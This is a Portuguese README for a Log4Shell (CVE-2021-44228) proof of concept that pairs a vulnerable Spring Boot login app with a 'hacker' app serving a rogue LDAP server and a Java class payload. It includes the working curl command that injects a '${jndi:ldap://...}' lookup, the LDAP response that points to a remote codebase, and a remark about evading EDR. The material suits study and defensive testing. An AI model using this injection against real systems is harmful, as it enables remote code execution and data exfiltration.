
log4j2 Log4Shell CVE-2021-44228 prova de conceito
Aplicativo Spring Boot simples que serve uma página de login com usuário e senha. Ele registra o nome do usuário quando enviado via POST para /. Não é necessário que o aplicativo registre qualquer entrada fornecida pelo usuário. Habilitar o log de acesso que usa uma versão vulnerável do log4j2 é suficiente.
Como executar:
cd exploitable
../mvnw -q spring-boot:run
Por padrão, ele escuta na porta 8080. Se você acessar http://localhost:8080/ no navegador, verá algo como:
Em pom.xml, você notará a propriedade JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Isso não é necessário em versões mais antigas do JDK. O padrão foi alterado para false em: JDK 11.0.1, 8u191, 7u201 e 6u211. Mesmo sem essa propriedade, o aplicativo está vulnerável a solicitações LDAP iniciais que podem exfiltrar dados confidenciais.

Aplicativo hacker que serve a dois propósitos:
Como executar:
cd hacker
../mvnw -q spring-boot:run
Em pom.xml, você pode alterar o payload padrão enviado aos aplicativos exploráveis:
--class=SayHello é o padrão, o que significa que ele envia SayHello.class como payload.
Envie uma solicitação curl ao aplicativo explorável referenciando o servidor LDAP do hacker em um dos campos fornecidos pelo usuário (nome de usuário):
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
No console do aplicativo explorável, você deve ver algo como:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance na classe de exploraçãoApós a solicitação LDAP inicial e, potencialmente, o download da classe Java de exploração, não é necessário que o exploit faça fork de um processo ou estabeleça qualquer conexão adicional com a Internet. Normalmente, esses tipos de exploits podem ser facilmente detectados por produtos EDR etc. Suspeito que novos payloads de exploração serão implementados nativamente em Java para evitar a detecção.